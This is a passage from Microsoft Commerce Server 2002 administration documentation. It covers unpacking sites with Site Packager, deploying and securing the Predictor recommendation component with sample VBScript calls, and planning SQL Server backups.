  21. Click OK.
  22. If you added the Profiles resource to the site, the first of two Profiling System dialog boxes appears. If you are unpacking a Solution Site, click Next to accept the default entries.

    To specify your own profile settings, do the following:

    Use this To do this
    Profile Schema Definition When you pack a site, Site Packager extracts the profile schema from your Profiles database, and stores it in an XML file. Specify that XML file in this box so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, ProfileDefinition. This file contains the following profile definitions: Address, BlanketPOs, Organization, Targeting Context, and User Object.
    Site Terms Definition When you pack a site, Site Packager extracts the site terms definition from your database and stores it in an XML file. Specify that XML file in this box so it is unpacked.

    When you unpack a Solution Site, accept the default XML file, SiteTerms. This file contains the predefined site terms for your use.
    Expression Definition When you pack a site, Site Packager extracts the definitions for expressions that you defined using Business Desk, and stores them in an XML file. Specify that XML file in this box so it is unpacked.

    When you unpack a Solution Site, a default XML file, ExpressionDefinition, is provided. This file does not contain any predefined expressions for the Solution Sites.
  23. Click Next.
  24. If you added the Profiles resource to the site, the second of two Profiling System dialog boxes appears. If you are unpacking a Solution Site, click Next to accept the default entries.

    To specify your own profile settings, do the following:

    Use this | To do this
    Profiling System Connection String | Accept the default connection string to the Profiles database, or click Modify to configure a new connection string.
    Schema definition scripts (*.sql, *.vbs) Specify the schema definition script that will create the Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so on).

    When you unpack a Solution Site, SCHEMAUPM_SQLSource.SQLSource creates the tables for the default profile definitions: Address, BlanketPOs, Organization, Targeting Context, and User Object.

    For a sample script, see ProfileSQL.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

    If you modify the UserObject table or other profile schema definitions, you must use SQL Server Enterprise Manager to generate a script to use here. For more information, see Packaging Extended Profile Schema.
    Data population scripts (*.sql) If you have extracted the profile data from a Profiles database, you can specify data population scripts so when you unpack, that data is imported into your new Profiles database.

    For a sample script that contains data for two users, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002.
  25. Click OK.
  26. If you are using Windows Integrated security, in the Commerce Server Site Packager dialog box, review the list of resources that are being unpacked and that require access permissions on the appropriate Windows accounts, and then click OK.
  27. In the Unpacking is complete! dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.
  28. To close Site Packager, click Finish.

To add an additional site to the Data Warehouse

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Welcome to the Commerce Server Site Packager dialog box, select Unpack from a package file (.pup), and then click Next.
  3. In the Unpack dialog box, type the path and file name of the file you want to unpack, or click Browse.
  4. If you clicked Browse, in the Open dialog box, navigate to the folder that contains the file you want to unpack, select the file, and then click Open.
  5. When the Unpack dialog box reappears, select Custom unpack, and then click Next.
  6. In the Unpack Method dialog box, select Create a new site, and then click Next.
  7. In the Site name dialog box, type the name for the new site, and then click Next.

    Note

    The site name has the following restrictions:

    • Do not use special characters (such as #, @, %, and ') that might not be recognized by SQL Server databases. For more information, see SQL Books Online.
    • Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could cause overwriting of your OLAP database the next time you unpack a site.
    • The site name can contain a maximum of 127 characters.
  8. In the Select Resources dialog box, click Add All, and then click Next.

    Note

    • In the Select Resources dialog box, you must install the CS Authentication and Profiles resources together. They do not work unless both are installed.
  9. In the Global Resource Pointers dialog box, in the Global resource pointers list, select Data Warehouse.
  10. In the Existing global resources drop-down list, select an existing Data Warehouse resource for your site.
  11. In the Global Resource Pointers dialog box, in the Global resource pointers list, select Profiles.
  12. In the Existing global resources drop-down list, select an existing Profiles resource for your site, and then click Next.
  13. In the Database Connection Strings dialog box, the Data Warehouse and Profiles connection strings no longer appear. This is because these resources existed before unpacking this site, and all of the connection strings are already defined.

To add additional sites to the same Data Warehouse, see To add an additional site to the Data Warehouse.


Deploying Predictor

This section explains how to configure and deploy the Predictor so it is secure and performance is optimized. It explains how to automate the model building process on the Data Warehouse, move the models to the Web servers, and update your site code to call the PredictorClient object to retrieve the data for display.

For a tutorial that guides you through the Predictor features and shows you how to analyze results, see Predictor Resource Tutorial.

For information about the amount of data Predictor can process, and performance criteria, see Predictor Data Size Restrictions.

Notes

  • Pointing multiple Predictor global resources to the same database (for example, an external database) is not supported.
  • Always build and use Prediction models for real-time recommendations on your site.

    Although your site developer can use the prediction methods to create both Segment and Prediction models, do not use Segment models for real-time recommendations because they are not optimized for this purpose and will not produce recommendations as accurate as Prediction models. You can also use the same model configuration to build a separate Segment model, based on the same data, and view it with the Segment Viewer in Commerce Server Business Desk.

This section contains:

  • Overview of a Sample Predictor Deployment
  • Step 1: Build the Prediction Models
  • Step 2: Automate the Predictor Model Rebuild Process
  • Step 3: Set the Refresh Interval for the Prediction Model
  • Step 4: Move the Prediction Models from the Data Warehouse
  • Step 5: Secure the Predictor Components
  • Step 6: Modify the Site to Create a PredictorClient Object Call


Overview of a Sample Predictor Deployment

To deploy the Predictor, it is recommended you implement the following configuration:

  • Use Site Packager to unpack the site application on the front-end Web servers.
  • Install the Data Warehouse and the Predictor service behind the second firewall.
  • Build Prediction models on the Data Warehouse computer.
  • Copy the models to a file and then move to the Web servers. Or, copy to an external database.
  • Secure the Predictor tables, service, and the Model Builder DTS task. For instructions, see Securing a Predictor Deployment.

The following figure show a sample Predictor deployment.

A sample predictor deployment


Step 1: Build the Prediction Models

Before you can build a Prediction model, you must do the following:

  • Import Web log data and runtime data into the Data Warehouse using the Commerce Server DTS tasks.

    For instructions for quickly importing data, see Data Warehouse Import Wizard. Or, to import sample data, follow the instructions in Preparing to Use the Tutorial in the Predictor Resource Tutorial.

  • Create a model configuration for your task. For instructions, see Setting Up Model Configurations.

After you have performed this two steps, you are ready to build the prediction models.

To build the Prediction models

  1. Expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then click Model Configurations.
  2. In the details screen, right-click the model configuration you want to use to build an analysis model, and then click Build.
  3. In the Model Build Properties dialog box, do the following:
    Use this | To do this
    Name | Type a name for the analysis model.
    Model type | Select prediction from the drop-down list.
  4. Click Next.
  5. In the second screen of the Model Build Properties dialog box, do the following:
    Use this To do this
    Sample size Type the number of cases that are used to build the analysis model. You can change the default value if necessary.

    For example, if you have a large table with 200,000 cases, you may want to specify that the Predictor resource use only 20,000 cases to build the analysis model.

    The default value is either –1 or 20,000:

    • -1 means that all data is used if the total number of cases is less than 20,000
    • 20,000 specifies that 20,000 cases are used because the total number of cases is larger than or equal to 20,000.
    Measured accuracy sample fraction Type the fraction of the sample data you want to use to automatically score the accuracy of the model, as a number between 0.0 and 1.0.

    For example, if you type 0.0 as the value of the Measured accuracy sample fraction option, the model will not be scored.

    If you type 0.4, 40 percent of the sample data will be used to score the model.

    (The remaining 60 percent will be used to build the model.)
    Measured accuracy maximum predictions Type the maximum number of recommendations to be presented on your site (used to compute the Recommendation Score).

    The default is 10 attributes.
    Input attribute fraction Type the fraction of attributes to be used as input to the predictions as a number between 0.0 and 1.0.

    For example, specifying an input attribute fraction of 0.05 selects the most significant 5 percent of input attributes.

    The default value is 1.0, which includes all attributes as inputs for prediction.

    Values less than 1.0 are recommended if the number of attributes is very large, such as product recommendations for a catalog with over 1,000 products.
    Output attribute fraction Type the fraction of attributes to be predicted as a number between 0.0 and 0.1.

    For example, specifying an output attribute fraction of 0.05 results in decision trees being built for the most significant 5 percent of attributes.

    (If the output attributes are products, this will return trees for the 5 percent most popular products.)

    The default value is 1.0, which produces trees for all attributes.

    Values less than 1.0 are recommended if the number of attributes is very large, such as product recommendations for a catalog with over 1,000 products.
  6. Click Finish.

The status of the build process appears in the details screen.

During the build process, the status is Building. When the build process is finished, the status is Idle. If the build process is unsuccessful, a message that describes the problem appears in the details screen and is written to the Commerce Server 2002 Application Log. You can use Event Viewer to view the Application Log.


Step 2: Automate the Predictor Model Rebuild Process

Use the Predictor DTS task to automate the model rebuilds on a regular, recurring basis.

Note

  • Build one analysis model at a time. If you schedule two or more models to be built simultaneously, the DTS task will fail. To schedule building multiple models, you must schedule them to run one after another.

To automate the rebuilding of Prediction models

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. Select the package you want to change, and then click Open.

  3. On the Task menu, click Model Builder (Commerce Server).
  4. In the Model Builder Properties dialog box, do the following:
    Use this | To do this
    Description | Type a description for this task. The maximum number of characters for the description is 255 characters.
    Source type | Select either Site or Data Warehouse from the drop-down list.
    Site name | Select the site name from the drop-down list. If you selected Site as the source type, you must select the site for which you want to rebuild an analysis model.
    Data Warehouse name | Select the name of the Data Warehouse from the drop-down list. If you selected Data Warehouse as the source type, you must select the Data Warehouse associated with the sites for which you want to rebuild an analysis model.
    Model to rebuild | Select an analysis model from the drop-down list.
  5. In the Archive properties section, do the following:
    Use this | To do this
    Archive current model | Select this check box to archive the analysis model.
    Archived model name suffix | Select either Date of rebuild or Version number from the drop-down list.
    Archived model name | Type a model name if you want to use anything other than the default name provided.
  6. In the Retry properties section, do the following:
    Use this | To do this
    Number of retry attempts | Type the number of times (between 0 and 255) you want the Data Warehouse to retry if encountered with erroneous data. The default number of retries is 10.
    Time between attempts (seconds) | Type the amount of time in seconds (between 1 and 3600) you want the Data Warehouse to wait before it attempts to retry. The default timeout interval is 30 seconds.
  7. Click OK.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of you’re the model build process. When the model build process is complete, the Package Execution Results dialog box informs you it completed successfully.

  9. Click OK, and then click Done.

The specified analysis model will be rebuilt on a scheduled basis with current data from the Data Warehouse.

See Also

Troubleshooting Commerce Server Resources

Running the Model Builder DTS Task

ETL Process for the Model Builder DTS Task

Scripting the Model Builder DTS Task

Workflow for Running DTS Tasks


Step 3: Set the Refresh Interval for the Prediction Model

After you build a model, you set the Predictor Refresh interval property, which specifies how often the PredictorClient object should check to determine if a model reload is necessary.

The PredictorClient object uses the Refresh interval property it got when initialized to determine when next to check the Administration database. If the Refresh interval property is set to 2 days, then the PredictorClient object will check the Administration database in two days.

Note

  • If you set the Refresh Interval propery to 0, the refresh feature will be disabled: the PredictorClient object stops checking the Administration database. If you then reset the property to a non-zero value to enable the refresh feature, you must manually reload the model by using IISReset to restart the application.

To set the Refresh interval property

  1. In Commerce Server Manager, expand Commerce Server Manager, and then expand Global Resources.
  2. Right-click Predictor on <server_name>, and then click Properties.
  3. In the Predictor Properties dialog box, select the Model refresh interval (days) property. In the Selected Property Value box, type the number of days between model rebuilds, and then click OK.
  4. In Component Services, restart the Predictor service so the change takes affect.


Step 4: Move Prediction Models from Data Warehouse

In order for the PredictorClient object on the Web server to access the Prediction model, you must move the model from the Data Warehouse to a file on the Web server or to an external database. For performance reasons, moving the Prediction model to a file is recommended option. Moving the Prediction model to the Commerce Server runtime databases or an external database is not recommended.

This section explains how to move the models to an external database and how to move the models to a Web server.

This section contains:

  • Moving Prediction Models to the Web Server
  • Moving Prediction Models to an External Database


Moving Prediction Models to the Web Server

In this step, you manually move the models to the Web server.

However, this process can be automated by using SQL Server Agent or by creating a script that uses the PredictorClient object SaveModelToFile method to save the models. Following is a sample script:

sDWConn = "Provider=SQLOLEDB.1;Persist Security Info=False;Integrated Security='SSPI';Initial Catalog=PredictorDemo_dw;Data Source=CSSERVER1"
sModelName = "PreDemo_tran"
sSitename = "PredictorDemo"
sFilename = "c:\predictor_models.pmf"
call SaveModelToFile( sSitename, sDWConn, sModelName,sFilename)
'Load the model from the Data Warehouse and save it to a local file
sub SaveModelToFile(strSitename, strDWConn, strModelName, strFileName)
    Set oPredictor = CreateObject("Commerce.PredictorClient")
    oPredictor.sSiteName = strSitename
    oPredictor.LoadModelFromDB strModelName, strDWConn
    oPredictor.saveModeltofile strFileName
    Set oPredictor = Nothing
end sub

To move Prediction models to the Web server

  1. On the Data Warehouse computer, expand Commerce Server Manager, and then expand Predictor on <server_name>.
  2. Right-click each model, click Save, and then save the model to a file.
  3. Using Windows Explorer, copy the model file(s) from the Data Warehouse to disk, and then copy the files to each Web server.


Moving Prediction Models to an External Database

If necessary, you can move your prediction models to an external database instead of to a file. This option is not recommended for performance reasons, however, the steps for moving the prediction model to an external database are provided in this topic.

On the Data Warehouse computer, you first create a new SQL Server Copy DTS package to move the Predictor tables and data to the external database. Next you update your site pages to add calls to the PredictorClient object to retrieve the data for display.

Note

  • To move a prediction model using a Copy DTS package, you must open port 1433 on the firewall between the Web server and the Data Warehouse server. For detailed instructions about configuring ports and firewalls for a secure deployment, see Deploying a Secure Site.

To create a new SQL Server Copy DTS package

  1. On the Data Warehouse computer, open SQL Enterprise Manager.
  2. Navigate to the local SQL databases, and open the Data Warehouse database, for example, <sitename>_dw.
  3. Right-click Tables, click All Tasks, and then click Export Data.

    The Data Transformation Services Import/Export Wizard is started.

  4. On the Choose a Data Source dialog box, accept the local database (for example, <sitename>_dw) as the source, and then click Next.
  5. On the Choose a destination dialog box, select the external database as the destination, and then click Next.
  6. On the Specify Table Copy or Query dialog box, select Copy tables and views from the source database, and then click Next.
  7. On the Select Source Tables and Views dialog box, select the following tables, and then click Next:
    • [<sitename>_dw].[dbo].[PredictorDataTables]
    • [<sitename>_dw].[dbo].[PredictorModelCfgs]
    • [<sitename>_dw].[dbo].[PredictorModels]
  8. On the Save, schedule, and replicate package dialog box, schedule the package to run each time after model refresh intervals.

    For information about setting up the model refresh intervals, see Step 2: Set the Refresh Interval for the Prediction Model.

  9. Click Finish.


Step 5: Secure the Predictor Components

Following is an overview of the steps required to secure the Predictor components. It is critical that you perform these steps to ensure the security of your site.

  • Secure the Predictor Service Account.
  • Configure the Predictor resource connection strings using Windows Authentication.
  • Secure the Predictor tables in the Data Warehouse database. Grant the appropriate permissions to the account that runs the Model Builder DTS task, and to Business Desk users.
  • Secure the Predictor model deployed to the Web server.
  • Grant permissions to use the Segment Viewer and Affinity Lists .


Step 6: Modify the Site to Create a PredictorClient Object Call

In this step, you modify the pages of your site to call create a PredictorClient object call so you get the model you want.

To modify the site to load the model from a file

  1. Modify the initialization page on the site to create a PredictorClient object and call LoadModelFromFile method, specifying the model you want to use and the local path to the model file.

    Following is a sample of the call on the initialization page on your site:

    ' PredictionModel2.mdl is stored in the working directory of the
'  calling process
oPredictorClient.LoadModelFromFile "PredictionModel2.mdl"

    For more information, see PredictorClient Object.

  2. Modify pages within the site where you want to show prediction results. Add calls to the PredictorClient API in order to retrieve and display the appropriate results from the model specified.

    Following is a sample of the call on a page of your site:

    ' dCase is a Dictionary object, slPropsToPredict is a SimpleList
' vsavPredictedProps, vsavPredictedValues are Variant SafeArrays
oPredictorClient.Predict dCase, slPropsToPredict, vsavPredictedProps, _
 vsavPredictedVals, 10

    For more information, see PredictorClient Object.

To modify the site to load the model from a database

  1. Modify the initialization page on the site to create a PredictorClient object and call LoadModelFromDB method, specifying the model you want to use and the connection string to the external database.

    Following is a sample of the call on the initialization page on your site, using Windows Authentication in the connection string:

    oPredictorClient.LoadModelFromDB "Purchase1", _
 "Provider=SQLOLEDB.1;Integrated Security='SSPI';Persist Security Info=True;Initial Catalog=PredictorDemo_Outside;Data Source=CSSERVER1;Initial Catalog=Retail_dw;" _

    For more information, see PredictorClient Object.

  2. Modify pages within the site where you want to show prediction results. Add calls to the PredictorClient API in order to retrieve and display the appropriate results from the model specified.

    Following is a sample of the call on a page of your site:

    ' dCase is a Dictionary object, slPropsToPredict is a SimpleList
' vsavPredictedProps, vsavPredictedValues are Variant SafeArrays
oPredictorClient.Predict dCase, slPropsToPredict, vsavPredictedProps, _
 vsavPredictedVals, 10

    For more information, see PredictorClient Object.


Backing Up Your Site

After you deploy and configure your site, you should back up all the files on your site so that you can restore it in case of server failure. If your site is small, the easiest way to back up your site is to repackage it using Commerce Server Site Packager. The new package will save many of the configuration settings specific to your current site. Site Packager does not package properties that are specific to the computer you are on. For example, Web server properties and some application properties that are set in Commerce Server Manager are not packaged. For a list of data that is packaged for each resource, see Where Resources and Data Are Unpacked.

The following components are not included in a package file when you pack your site and need to be backed up through other means:

  • Data Warehouse resource
  • Direct Mailer
  • Predictor resource
  • Existing databases in the Profiles resource

Remember to repackage your site each time you change its configuration. For information about how to package a site, see Packaging a Site.

In addition to packaging your site, it is recommended that you periodically use system backup software to create full backup copies of the data on the hard drives of your servers.

If your site is large, creating a package file for it may not be practical. In this case, you need to back up each component (applications and databases, for example) using an appropriate method for that component.

It is recommended that you back up your Commerce Server configuration every time it changes so that you can easily return it to a previous state should you experience a hardware or software failure. The following list describes the appropriate backup tools for each Commerce Server component type.

To back up your Commerce Server installation

  1. Back up your SQL Server databases using SQL Enterprise Manager.
  2. Back up your Internet Information Services (IIS) 5.0 metabase using Microsoft Windows 2000 Backup Wizard.
  3. Back up your Registry using Windows 2000 Backup Wizard.
  4. Back up your Commerce Server files using Windows 2000 Backup Wizard.
  5. Package your Commerce Server site using Commerce Server Site Packager.

To restore your Commerce Server installation

  1. Restore your IIS metabase using Windows 2000 Backup Wizard.
  2. Restore your Registry using Windows 2000 Restore Wizard.
  3. Restore your Commerce Server files using Windows 2000 Restore Wizard.
  4. Unpack your Commerce Server site and/or resources using Commerce Server Site Packager.

This section contains:

  • Best Practices for Backing Up Commerce Server. Describes recommendations for backing up Commerce Server 2002 databases.
  • Designing a Backup Strategy. Describes SQL Server database recovery models, backup options, recomendations for designing a backup strategy, and explains how to implement a sample backup strategy.
  • Restoring Commerce Server Databases. Describes SQL Server database restoration options and recommendations for restoring Commerce Server 2002 databases.

See Also

Using Site Packager


Best Practices for Backing Up Commerce Server

This topic lists the best practices for backing up Commerce Server.

  • Manage the size of the transaction log file by backing it up frequently.

    SQL Server automatically truncates the transaction log file when you back it up; therefore, the more often you back it up, the smaller the file.

  • Back up the transaction log file on a regular schedule and before performing other types of backup.

    The frequency with which you back up the transaction log file determines how accurate to the time of a failure your restore will be. You can restore your database to the condition it was in at the time of the last backup of the transaction log file before a failure. Backing up the transaction log before performing other types of backups ensures that you will be able to restore your database even if the backup fails.

  • Plan your backup strategy to meet the level of restore accuracy you need.

    SQL Server provides you with backup tools that you can use to create backups that provide you with different levels of granularity. Depending on how frequently your database changes, and the needs of your organization for up-to-the-minute restoration after a database failure, your backup strategy will be simple or complex.

  • Do not back up the tempdb database.

    The tempdb database does not contain any data required for the operation of your database. Back up Commerce Server databases to a separate physical disk from where the data and transaction log files are stored.

    Backing up Commerce Server databases to a separate physical disk:

    • Maximizes the performance of the databases being backed up.
    • Maximizes the performance of the backup because it is the only operation writing to the destination disk.
    • Protects your backup in case of a disk failure.
  • Recreate any full-text indexes when you restore the associated database.
Backing up a database does not back up full-text index data in full-text catalogs. However, if full-text indexes have been defined for tables, the meta data is backed up when a database backup is created. After a database backup is restored, the full-text index catalogs can be re-created and repopulated. For more information, see Full-text Indexes in SQL Server Books Online.
  • Use the stored procedure sp_spaceused to estimate the size of the backup and manage the space requirements.
Your backup will fail if the backup device runs out of storage room before the backup is complete. The stored procedure sp_spaceused displays the number of rows, disk space reserved, and disk space used by a table in the current database, or displays the disk space reserved and used by the entire database.

For information about using the stored procedure sp_spaceused, see System Stored Procedures in SQL Server Books Online.

  • Stripe full backups across multiple backup devices located on separate physical disks to minimize the time it takes to backup a database.

    Striping backups across multiple backup devices will speed up the backup process and reduce the memory and performance hits on any single backup device.

  • Base your backup intervals on the frequency needed to minimize data loss and time them to avoid interference with production work.

Users will not be able to write to production databases while they are being backed up. Schedule backups during lulls in user activity, such as late at night. Determine the frequency with which the databases must be backed up by studying activity levels and growth rates. For example, if management decides that if the database server crashes, they do not want to lose more than 120 minutes of data, then you must perform transaction log file backups every 120 minutes. It would make sense to schedule one of these backups at noon when there is a lull in activity and avoid contention with users as much as possible.


Designing a Backup Strategy

Base the design of your backup strategy on the speed and amount of data you are adding to your databases. For example, you would have a different backup strategy for databases that rarely change than you would have for databases to which large quantities of data are continuously added. Consider each database separately, because Commerce Server uses each database differently. For example, your transaction database may change over one hundred times in a single day, while your Commerce Server Administration database may only change once a month. In this example, you would want to backup your transaction database more frequently, and your Administration database less frequently.

In addition to the frequency of change, you will also need to consider the availability needs of your databases. While it is important to backup your databases, it may also be important that those databases are accessible to users at certain times. If you are backing up production databases, you will want your backup to make as little impact as possible on the availability of your site.

You can back up directory data and configuration files to traditional media, such as magnetic tape, or to a separate local or network disk drive. Directories are frequently replicated to provide load balancing, high availability, and localized access in a distributed environment.

It is recommended that you back up SQL Server databases to physical drives that are separate from the drives that contain the databases. You can use RAID arrays to create a single logical drive for your backup, or you can use striping to write the backup to multiple drives. Backing up and restoring from tape takes a long time and the backed-up data is only current as of the time the backup was created. In most cases, it is better to rebuild a directory from peer replicas, because the data in the peer replicas is already online and the data is always current.

This section contains:

  • Recovery Models
  • Backup Types
  • Backup Types Supported by Recovery Models
  • Minimizing Backup and Recovery Times in Mission-Critical Environments
  • Backup Restrictions
  • Implementing a Sample Backup Strategy
  • Verifying Backups


Recovery Models

You use the SQL Server backup and restore functionality to perform your database backups and restorations. SQL Server provides three recovery models: simple, full, and bulk-logged, and four types of backups: full database, differential, transaction log, and database file or filegroup. SQL Server keeps track of the type and time of backups performed on each table. You can design a backup strategy using all four types of backups on a scheduled basis to ensure that you can restore exactly what you need to in case of a failure.

The following table provides an overview of the benefits and implications of the three recovery models.

Recovery model | Benefits | Work loss exposure | Point in time recovery
Simple | Permits high-performance bulk copy operations. Reclaims log file space to keep space requirements small. | Changes since the most recent backup must be redone. | Can recover to the end of any backup, and then changes must be redone.
Full | No work is lost due to a lost or damaged data file. Can recover to an arbitrary point in time (for example, before an application or user error). | Normally no work is lost. If the log file is damaged, changes since the most recent log file backup must be redone. | Can recover to any point in time.
Bulked-Logged | Permits high-performance bulk copy operations. Minimal log file space is used by bulk operations. | If the log file is damaged, or bulk operations occurred since the most recent log file backup, changes since that last backup must be redone. Otherwise, no work is lost. | Can recover to the end of any backup, and then changes must be redone.


Backup Types

SQL Server provides four kinds of backups:

  • Full database backup. If the database is primarily a read-only database, full database backups may be sufficient to prevent data loss. A full database backup serves as your baseline in the event of a system failure. When you perform a full database backup, SQL Server:
    • Backs up any activity that took place during the backup.
    • Backs up any uncommitted transactions in the transaction log file. SQL Server uses the portions of the transactions log file that were captured in the backup file to ensure data consistency when the backup is restored.
  • Differential backup. Perform a differential backup to minimize the time that is necessary for restoring a frequently modified database. Perform a differential backup only if you have performed a full database backup. In a differential backup, SQL Server:
    • Backs up the parts of the database that have changed since the last full database backup. SQL Server compares the log file sequence number (LSN) on a page to the synchronization LSN of the last full database backup. When performing a differential backup, SQL Server backs up extents, rather than individual pages. An extent is backed up when the LSN on any page in the extent is greater than the LSN of the last full database backup.
    • Backs up any activity that took place during the differential backup, as well as any uncommitted transactions in the transaction log file.
  • Transaction log file backup. Back up the transaction log files to record any database changes. Use transaction log file backups in conjunction with full and optional differential backups to restore data up to the minute the transaction log file was backed up. Transaction log files are automatically backed up when you perform a full backup of a database file. You must perform a full database backup at least once, before backing up the transaction log file. A full database backup is required to restore a transaction log file backup. You will need the corresponding database backup to restore a transaction log file backup. You cannot backup transaction log files when you use the Simple Recovery model. For information about the Simple Recovery model, see SQL Server Books Online. In a transaction log file backup, SQL Server:
    • Backs up the transaction log file from the last successfully executed BACKUP LOG statement to the end of the current transaction log file.
    • Removes previously backed up entries from the transaction log file and backs up the active portion. The active portion of the transaction log file starts at the point of the oldest open transaction and continues to the end of the transaction log file.
  • Database file or filegroup backup. In addition to performing full and differential backups, you can back up individual database files and filegroups. When you back up individual database files or filegroups, you must perform a transaction log file backup in order to make the restored files consistent with the rest of the database. You can use this option to specify up to 16 files or filegroups. When you backup individual files or filegroups, SQL Server:
    • Backs up only the database files that you specify in the FILE or FILEGROUP option. For information about the FILE and FILEGROUP options, see SQL Server Books Online.
    • Allows you to back up specific database files instead of the entire database.
For information about database file or filegroup backups, see SQL Server Books Online.

Important

  • If you experience a database failure, use the NO_TRUNCATE option to backup the transaction log file. Using this option backs up all recent database activity. The NO_TRUNCATE option causes SQL Server to save the entire transaction log file (everything that has happened since the last BACKUP LOG statement), even if the database is inaccessible. Completed transactions are not purged from the transaction log file, and you can recover data up to the time when the system failed. For more information about the NO_TRUNCATE option, see SQL Server Books Online.


Backup Types Supported by Recovery Models

The following table illustrates the types of backups that are available for each recovery model.

Recovery Model | Full database backup | Differential backup | Transaction log file backup | File/filegroup backup
Simple | Required | Optional | Not allowed | Not allowed
Full | Required | Optional | Required | Optional
Bulk-Logged | Required | Optional | Required | Optional

When you create a database backup, the backup operation copies only the data in the database to the backup file; it does not copy unused space in the database. Because the database backup contains only the actual data in the database—no empty space—the database backup is likely to be smaller than the database itself. An estimate of the size of the database backup can be determined using the sp_spaceused system-stored procedure; the reserved value indicates the estimated size.

Microsoft SQL Server truncates the transaction log file when backing up this file. Therefore, when you are creating database backups, it is recommended that you back up the transaction log file automatically every time a checkpoint occurs in the database. This prevents the transaction log file from becoming full, which would require the transaction log file to be truncated manually, which could result in data loss.

If you are producing only database backups, the backup interval should be long enough to keep the backup overhead from affecting production work, yet short enough to prevent the loss of significant amounts of data. Databases that do not contain critical data and have few modifications can be backed up on a weekly or biweekly basis. Data that is more critical or more volatile may need to be backed up daily, or even more frequently. Some databases that are usually read-only may need to be backed up only after a periodic refresh with new data.

It is also prudent to have more than one backup of the database. It is recommended that you maintain a rotating series of backup media, so that you have two or more versions of the database from which you can restore. This allows you to address situations in which a user may make some incorrect modifications that are not detected for some time, or to fall back to an earlier backup if backup media is damaged.


Minimizing Backup and Recovery Times in Mission-Critical Environments

Mission-critical environments often require that the database be available continuously, or for extended periods of time with minimal downtime. Therefore, the duration of unexpected situations, such as a hardware failure, that require the database to be restored need to be kept as short as possible. Additionally, mission-critical databases are often large, requiring longer periods of time to back up and restore. Microsoft SQL Server offers several methods for increasing the speed of backup and restore operations, thereby minimizing the effect on users during both operations.

Minimize backup times by:

  • Using multiple backup devices simultaneously allows backups to be written to all devices at the same time. Similarly, the backup can be restored from multiple devices at the same time.
  • Using a combination of database, differential database, and transaction log file backups to minimize the number of backups that need to be applied to bring the database to the point of failure.
  • Using file and filegroup backups and transaction log file backups, allowing only those files that contain the relevant data to be backed up or restored, rather than backing up the entire database.


Backup Restrictions

Using SQL Server, backup operations can occur while the database is online and in use. However, the following operations are not allowed during a database backup operation:

  • Creating or deleting database files
  • Creating indexes
  • Performing non-logged operations
  • Shrinking either the database (automatically or manually) or the database files

If a backup operation is started when one of these operations is in progress, the backup operation terminates. If a backup operation is in progress and one of these operations is attempted, the operation fails and the backup operation continues.


Implementing a Sample Backup Strategy

In the following example, the backup strategy for the Commerce Server <site name>_commerce database includes a full backup twice a week, differential backups twice a day, and a backup of the transaction log file every 30 minutes. The destination of the backup is a separate physical drive. The backups will be scheduled to perform automatically.

To implement a sample backup strategy

  1. Identify the database to be backed up.
  2. Identify the backup device.
  3. Determine the frequency and types of backups to perform.
  4. Schedule the backups.

To implement the backup schedule

Step 1: Perform a full backup of the Commerce Server database.

Step 2: Schedule a full backup for each Tuesday and Friday at 2:00 A.M.

Step 3: Schedule a transaction log file backup every 30 minutes.

Step 4: Schedule differential backups for every day at noon and midnight.


Step 1: Perform a full backup of the Commerce Server database

To create a full backup of the Commerce Server <site name>_commerce database

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to back up, point to All Tasks, and then click Backup Database.
  3. In the SQL Server Backup dialog box, do the following:
    Use this | To do this
    Name | Type Full-<current date: mmddyy> for the backup set name.
    Description | Type Full backup of the Commerce database as a description for the backup set.
    Backup | Select Database - complete.
  4. In the Destination section, click Add to add a backup device.
  5. In the Select Backup Destination dialog box, select File name, and then click the ellipsis to select the backup destination file.
  6. In the Backup Device Location dialog box, in the File name box, type CommFull, and click OK.
  7. Click OK to close the Select Backup Destination dialog box.
  8. In the SQL Server Backup dialog box, in the Overwrite section, do the following:
    Use this | To do this
    Append to media | Append the backup to any existing backup on the backup device.
    Overwrite existing media | Overwrite any existing backups on the backup device.
    Schedule | Optionally, select to schedule the backup operation for later or periodic execution.
  9. Optionally, click the Options tab and select from these backup options:
    • Verify backup upon completion. Causes the backup to be verified when backed up.
    • Eject tape after backup. Causes the tape to be ejected when the backup operation has completed. Available only with tape devices.
    • Check media set name and backup set expiration. Causes the backup media to be checked to prevent accidental overwrites. In the Media set name box, type the name of the media that should be used for the backup operation. Leave blank when specifying only the backup set expiration date.
  10. If you are using the backup media for the first time, or if you want to change an existing media label, in the Media set labels section, select Initialize and label media, and type the media set name and media set description. (The media can only be initialized and labeled when overwriting the media.)


Step 2: Schedule a full backup for each Tuesday and Friday at 2:00 A.M.

To create a full backup of the Commerce Server <site name>_commerce database

  1. In SQL Server Enterprise Manager, expand a server group, and then expand a server.
  2. Expand Databases, right-click the database you want to back up, point to All Tasks, and then click Backup Database.
  3. In the SQL Server Backup dialog box, do the following:
    Use this | To do this
    Name | Type Full-<current date: mmddyy> for the backup set name.
    Description | Type Full backup of the Commerce database as a description for the backup set.
    Backup | Select Database - complete.
  4. In the Destination section, click Add to add a backup device.
  5. In the Select Backup Destination dialog box, select File name, and then click the ellipsis to select the backup destination file.
  6. In the Backup Device Location dialog box, in the File name box, type CommFull, and click OK.
  7. Click OK to close the Select Backup Destination dialog box.
  8. In the SQL Server Backup dialog box, in the Overwrite section, do the following:
    Use this | To do this
    Append to media | Select to append the backup to any existing backup on the backup device.
    Overwrite existing media | Select to overwrite any existing backups on the backup device.
  9. In the Schedule, select Schedule, and click ellipsis .
  10. In the Edit Schedule dialog box, do the following:
    Use this | To do this
    Name | Type CSFullSch.
    Schedule type | Select Recurring, and then click Change.
  11. In the Edit Recurring Job Schedule dialog box, do the following:
    Use this | To do this
